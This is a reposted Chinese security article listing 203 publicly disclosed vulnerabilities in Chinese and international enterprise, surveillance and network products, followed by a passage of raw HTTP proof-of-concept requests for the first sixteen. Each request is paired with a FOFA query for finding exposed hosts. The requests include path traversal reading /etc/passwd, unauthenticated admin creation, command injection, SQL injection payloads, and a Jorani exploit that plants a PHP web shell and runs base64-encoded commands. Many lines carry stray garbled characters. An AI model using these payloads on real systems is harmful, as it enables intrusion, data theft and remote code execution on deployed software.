互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
' R9 ?: @( x* i以下文章来源于网络安全新视界 ，作者网络安全新视界
, q$ o" Y- \; k* H
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

- H( z% p2 V3 `漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
' a" a# `' W, P* ^5 o5 L
% f. `1 }2 e8 ^; N8 l0 R安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明
2 p; O9 y) b+ @- {) x& h
) f& {! T. K* ~/ ~为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

& W6 E) C) V9 ~  H5 f0 f" ]

目录
! s' Q* l$ F" i/ ?5 }
01
# O# B0 }% X$ e  i3 j" H" K1 B
2 t- T6 O; I& T$ m& e, Z( v1. StarRocks MPP数据库未授权访问
6 E( D% ?9 u' M( I, f# k. Z2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
6 t: u& U5 n+ w- l& t  X4. EasyCVR视频管理平台存在任意用户添加
0 b) E* D- i3 L9 G$ M$ {5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
6 \. U9 h8 J& U& x- [0 U1 I9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
# B3 Z, O* A& y1 r4 t4 {1 R# x14. 华夏ERP（jshERP）敏感信息泄露
( g/ o! q' H. Q+ D/ m15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
- A3 }/ [3 O- `) a2 {19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 _9 O# @& S" K2 j2 W  @, C20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
( D) W* J0 z  D' A- Q' l22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
3 b+ Q" m4 X4 v28. 用友NC grouptemplet 任意文件上传
1 N- a) r; K: w! Z29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
  m1 ~4 W2 @4 P: p! {5 q* T32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
; A; [9 f3 e1 _* C34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
+ U1 m( d; e) ^( c$ _36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 k. n/ S  d) M& E39. 用友U8 Cloud RegisterServlet SQL注入
7 v3 g' t% `7 e# ?$ c40. 用友U8-Cloud XChangeServlet XXE
' _0 D$ e8 E% R5 T, c  ~41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
' a9 P( T' `+ O44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ M4 K& u& t& a5 z2 S( z0 [8 a. ?, K45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
& A0 u7 K: \6 P0 w49. 用友U8 CRM系统uploadfile.php接口任意文件上传
1 F5 {/ I% H8 f; z# u) `50. QDocs Smart School 6.4.1 filterRecords SQL注入
" ^! R9 r% Y4 S51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
* l: C/ w* ~& P; S! |+ z53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! E! M! `5 F' \1 H/ A1 c55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
. a( ?# }" G3 f5 w  S1 @+ a. O# u62. IP-guard WebServer 远程命令执行
# k' J, o* M" B1 R1 k/ {0 L63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
* H0 q0 }& |5 @70. 万户ezEIP success 命令执行
6 v( `9 _" o$ S5 _! r4 U2 ?71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
, X. n* R7 j! v& U% d74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
3 ~9 q# N6 h  z$ u76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
& d9 @8 t; M1 }, L78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
2 e5 V2 F7 S# V; D6 J# T80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
1 J* b! A1 i$ d6 h# b' J! l; R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
; e: F! O3 i7 ~9 a- H* O83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
2 U7 H7 [  r3 z5 v  K9 q; L86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
2 A6 l0 f6 f  W, h% G9 ^90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; W# D; o  b8 y$ V5 p92. 海康威视运行管理中心session命令执行
$ T- ^0 R2 @1 v+ D) X1 [93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
/ N% J! ^8 s0 E. k94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
4 \6 _6 W7 q, f95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
' g/ l% D# B& ]96. Apache OFBiz  18.12.11 groovy 远程代码执行
: A5 G) L+ ]  \1 z5 C9 c2 E97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
9 X* |; X9 h4 |' h0 c8 V, Y1 M; |98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
6 v6 w& G& Y- e4 K100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
# D4 i$ O) c, _, y# |" [1 q8 M101. ivanti policy secure-22.6命令注入
1 [3 k1 c) A" J7 i5 j102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' a7 @& S- {. N1 t# x1 |5 g103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
: A1 n6 W3 K" F( _# S6 `105. SpringBlade v3.2.0 export-user SQL 注入
& V1 B% c( m/ b, w106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
  i3 E' p! Y' D- Z108. D-Tale 3.9.0 SSRF
1 j$ B+ o5 j2 H. i, r109. Jenkins CLI 任意文件读取
- j- Y0 w: c/ ^& V% n1 I- [110. Goanywhere MFT 未授权创建管理员
0 i4 E5 u$ y: I5 y, e8 F: |111. WordPress Plugin HTML5 Video Player SQL注入
9 O/ m7 U  e0 K# v1 A112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
7 A- H( @. L: `' M6 i" w0 s# Q+ w115. WordPress Bricks Builder <= 1.9.6 RCE
; {; l; Q% w3 W  f116. wordpress js-support-ticket文件上传
9 R8 r; q- c- ]5 u& f117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 m% v: E; V/ Q/ ?7 Q121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
, Z5 n/ h5 I. G0 U123. Atlassian Confluence 模板注入代码执行
7 {% h! V7 i* J3 J+ }9 n# i' E124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
  f) ^% E2 v; ]2 V- A6 H+ U- N126. Aiohttp 路径遍历
, C/ z" n4 h8 x" C127. 广联达Linkworks DataExchange.ashx XXE
; J  m' L* ?' X' \& [  f128. Adobe ColdFusion 反序列化
# y' z0 j, T8 g7 H) `+ ?% g! U; A129. Adobe ColdFusion 任意文件读取
. i6 ~& S( E5 H5 e6 \, V! a130. Laykefu客服系统任意文件上传
; ^5 J$ ~  Z% J* v; s6 e- r131. Mini-Tmall <=20231017 SQL注入
. x4 T7 p: r% h6 ]/ A4 s: b132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
# B% a* s3 O8 h8 I+ T: M' W138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 l; q5 S/ h2 a: l; n: B140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
8 ~# k4 E6 m* I2 O7 f# D143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
( M) O; O6 P0 q) S; B151. AJ-Report 1.4.1 pageList sql注入
, ^0 a/ ~, `0 Z9 i9 e/ Y152. Progress Kemp LoadMaster 远程命令执行
' ?9 F' @$ \  q1 ^4 [1 }153. gradio任意文件读取
/ W2 J, Q  I- h6 e7 ~3 _3 k154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
! ]; W1 e9 ^& z& J  Y- N6 R158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
9 b" l; {  c- l162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
& z: u$ l  l5 W164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( S4 {+ J. B" r+ K/ @  D165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
( h- ^' l$ n0 F- {167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
; ^- H/ _. S. u7 P" p; K; E169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
5 z- k/ D; \  b2 t# M6 d& X/ I" ]173. Check Point 安全网关任意文件读取
- I9 d7 p$ o; r, U! K3 P+ I, @174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
* i, `3 e8 z0 K( C( W176. 电信网关配置管理系统 rewrite.php 文件上传
0 P, g# \+ [1 T( M2 C& H$ x' e177. H3C路由器敏感信息泄露
; d8 c& g' G) F! r178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 R- F/ Q2 m; S  T, x% I. J179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
& g! E- L0 L/ C  L. E* B1 e% O182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ h- ^& K) E, _184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) i1 P+ E" y' A* M& T! T5 ^185. 瑞友天翼应用虚拟化系统SQL注入
2 D+ X2 q3 V' ^; @1 Q5 |+ l4 R186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
: D) O% }0 j6 [191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
/ Z* X5 R7 `; J' p194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
; R6 j1 W9 i: V198.  阿里云盘 WebDAV 命令注入
5 K8 t0 w) h; R" E5 v199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

7 Q. |+ d- L: m, W. o6 RPOC列表
  E8 J' n0 @1 ~3 v0 _: a
02

; X4 x) W/ `  V$ n1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
* ?2 e9 S2 S7 D# c0 dHost: URL
& X. N: v' J8 P
; i3 M% |, E0 i( K. T
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
5 J1 Y+ s3 m! r$ ]3 n8 KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
- B" k: ~/ r* G2 Q1 X- p* ~/ ?Accept: */*
Accept-Language: en
2 f+ O  U5 ^+ X- [( E: O& }Accept-Encoding: gzip
$ V1 |6 v) r7 Q, b0 a

3. EasyCVR智能边缘网关 userlist 信息泄漏
- {! ~  F3 i0 G3 e2 I- u: n, Q+ DFOFA ：title="EasyCVR"
* o( K$ A# o, Q* w! t* uGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
, P7 G2 o0 ?% J* M6 Z

5 L, W/ j' o  `  I5 A; P) a: Z4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
9 ^0 g6 X6 S  g4 eHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 P$ J. F+ }! M# L) V
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
. o. R5 [6 k! }- N# I* J6 g" q! r* x

5. NUUO NVR 视频存储管理设备远程命令执行
" i. j8 ^, o; o8 F. z# FFOFA：title="Network Video Recorder Login"
) c+ c% b6 |: V" mGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


8 |: j6 j4 ]6 A6 D+ A6 B- g$ S6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
3 X7 C% M: o% |# v% bGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
' _& [( [( x) g
  d; Z2 u' f6 J4 R
7. 鸿运主动安全监控云平台任意文件下载
4 \! \- L; |- k5 i5 }, N% n& l3 ^FOFA：body="./open/webApi.html"
2 P* a8 E2 j& J, x7 lGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
8 O% J+ B% T' ]" u# n- V

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
1 d9 m; m4 H% c: W0 D默认账号admin登录后台后，执行操作
; a$ U( W% b- }. C/ F5 I( r; e$ iPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
: i$ z/ \3 y1 qCookie: sysauth=第一步登录获取的cookie
- }( w4 p  R2 i8 gContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
" q, a. U. `5 h& x1 Q1 B( X& RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 I3 L& Z/ p. P4 }, F! z
/ d2 W. \* Y+ x3 c) u/ a------WebKitFormBoundaryxbgjoytz
6 c, W% v# P, T( q! K' {7 dContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
  y$ N, s, B& ~& h  C( i------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
# I" C- C* S4 H. y4 `------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
8 H% }# v7 X- @( J------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
7 k" p9 O# [$ I& ^8 \" |' A
2 V7 K4 r+ _% a5 E
------WebKitFormBoundaryxbgjoytz--
5 G$ \* j8 K- ^. i- O1 G! s& C
  B3 g  [5 m" _$ g4 U% V
5 g2 I2 M+ n  V  d+ Q9. 稻壳CMS keyword 未授权SQL注入
  A$ C" v8 Y6 pFOFA：app="Doccms"
- }2 U' I& o( a8 w0 b9 xGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
) r4 I- E# n8 a$ ]; ]* F8 ~
( I4 e. y8 s! p  X8 X6 c* |' V
3 z  N4 ~9 u" W5 l4 ~9 rpayload为下列语句的二次Url编码
5 X3 J2 P; Z0 m5 V
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
/ t  ~4 D2 |# K" z! E' C
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
. F& o2 u. v! N
9 ]7 R  ]1 c" h" J7 _0 P: h文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
% o, ^7 j! y4 K. U- UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
' e) h, b; M: y( W; cContent-Length: 197
! g3 E- w" H; a# L. g8 V; k! KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 e' s6 ^$ I& D, l: _3 I2 C9 E) @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ l% y+ h, f4 l/ E, }4 G, {6 d# d# IConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
2 U' g0 X- K4 @6 ^& F9 N' l5 A
6 l6 I4 B+ E- O4 M------WebKitFormBoundaryxdgaqmqu
5 V% W3 M$ o7 b1 S  m) GContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

9 J  w: j) t4 @8 s2 kjmnqjfdsupxgfidopeixbgsxbf
5 D6 d  [1 Q& h- b$ y------WebKitFormBoundaryxdgaqmqu--
: N9 M' B7 B7 F1 h1 d( s0 _
+ y, C$ ?* g! a$ d& a% L0 R0 ?
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
; d9 H" O7 H! f. p+ f6 iGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
1 A- z9 Z2 N  t% a  h( ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ {# [& W$ s- W. h  k! aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
" y" E6 V5 A+ M, rConnection: close


3 w: k( M8 p5 ?. m12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
; w3 n8 x0 C) G/ W* D. F* K第一步先拿到cookie
5 S0 ^4 ~) a: O. [2 y8 K( UGET /session/login HTTP/1.1
% F, T8 m: _5 CHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
1 B" t1 Y' m$ v5 G6 ?Connection: close
Accept-Encoding: gzip
; f( F8 H1 P; Q! d5 [8 P

响应中csrf_cookie_jorani用于后续请求
. a7 Q2 z8 v6 BHTTP/1.1 200 OK
Connection: close
% ]6 q( \, F2 A$ ?/ i$ ~* P3 rCache-Control: no-store, no-cache, must-revalidate
7 Q" u6 C! N% b- b7 w7 M: EContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
% d0 `! [, W0 ^6 aPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
# V$ I5 p4 ?) J" NSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
$ _  D! i( g) J; W; N* M; gVary: Accept-Encoding

# n2 V6 b! D! Y
POST请求，执行函数并进行base64编码
! E9 H: P& ]2 D2 |, _9 q! b0 zPOST /session/login HTTP/1.1
Host: 192.168.190.30
7 X! ^' u+ {/ ^& F* h5 ?/ }, l( s( R% kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
: P) b0 z( k/ @% U9 D' H( b; yContent-Type: application/x-www-form-urlencoded
% M! S$ d+ J1 y1 x  y! F2 GCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
0 Q6 M6 P; s0 dAccept-Encoding: gzip
4 t! v" s  o5 K0 p" N$ d8 H
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
5 f0 _7 O* ], J5 C6 _& V


9 t1 I2 N6 ]) o& M向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
! Q" D7 s% o2 j3 ^, l9 S' oGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
- D1 A3 _& W3 T; u; K& xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
  L' d% M. b- u; r: XX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
' N9 z; E3 [& D' N; L
' n9 k/ O) V; a' I4 ]$ O, N
, C  R7 r) v* n13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
! u) E8 W6 e7 _, `. CGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
$ _! R# R+ |9 U- Z7 m, m' }, H8 SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- ~$ m. p/ S4 W- J) S$ A6 U* _Connection: close
Accept: */*
Accept-Encoding: gzip
( E. i4 G" N; M. X
7 W" U( @7 z* c2 W/ h
/ N1 R. A; ~, w' Z14. 华夏ERP（jshERP）敏感信息泄露
8 B- ?+ O* L+ F( B9 H$ G  zFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
& V9 s0 v) H' `( u( l. [' V3 f6 NAccept: */*
; q( q: l5 [! f0 ZAccept-Language: en
Accept-Encoding: gzip

2 F; p3 T; v$ a7 p/ q/ E  Z( X
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
$ N5 z( z4 d( {* g# Q, UFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
- P1 {) i; y9 Q8 ]0 ZAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
5 `4 j0 N! d$ Msec-ch-ua-platform: Windows
Accept-Encoding: gzip
( A: G0 K# ]; ?9 |, ^

16.  红帆HFOffice医微云SQL注入
- Z- \# i* k0 [2 F8 |FOFA：title="HFOffice"
# v: }% t7 ]' y$ Xpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
% v( O2 W8 ^& `/ l. v. FHost: x.x.x.x
1 s' v: c0 V8 c* ?/ N* Y5 SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
7 e% P  A6 b% u4 @0 B$ jConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
